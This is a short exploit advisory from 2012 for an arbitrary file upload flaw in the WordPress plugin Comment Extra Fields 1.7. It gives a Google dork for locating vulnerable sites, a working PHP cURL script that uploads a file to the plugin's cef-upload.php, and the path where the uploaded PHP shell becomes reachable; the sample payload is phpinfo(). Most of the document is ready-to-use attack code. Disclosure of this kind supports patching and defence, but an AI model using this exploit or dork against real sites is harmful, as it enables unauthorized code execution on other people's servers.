##################################################
# Description : Wordpress Plugins - Comment Extra Fields Shell Upload Vulnerability
# Version : 1.7
# Link : http://wordpress.org/extend/plugins/comment-extra-field/
# Plugins : http://downloads.wordpress.org/plugin/comment-extra-field.1.7.zip
# Date : 30-05-2012
# Google Dork : inurl:/wp-content/plugins/comment-extra-field/
# Author : Sammy FORGIT - sam at opensyscom dot fr - http://www.opensyscom.fr
##################################################


Exploit :

PostShell.php
<?php

$uploadfile="lo.php";
$ch = 
curl_init("http://www.exemple.com/wordpress/wp-content/plugins/comment-extra-field/cef-upload.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
         array('Filedata'=>"@$uploadfile"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";

?>

Shell Access : The file was successfully uploaded to folder /uploads/ in 
the active theme.
http://www.exemple.com/wordpress/wp-content/themes/twentyeleven/uploads/_lo.php

lo.php
<?php
phpinfo();
?>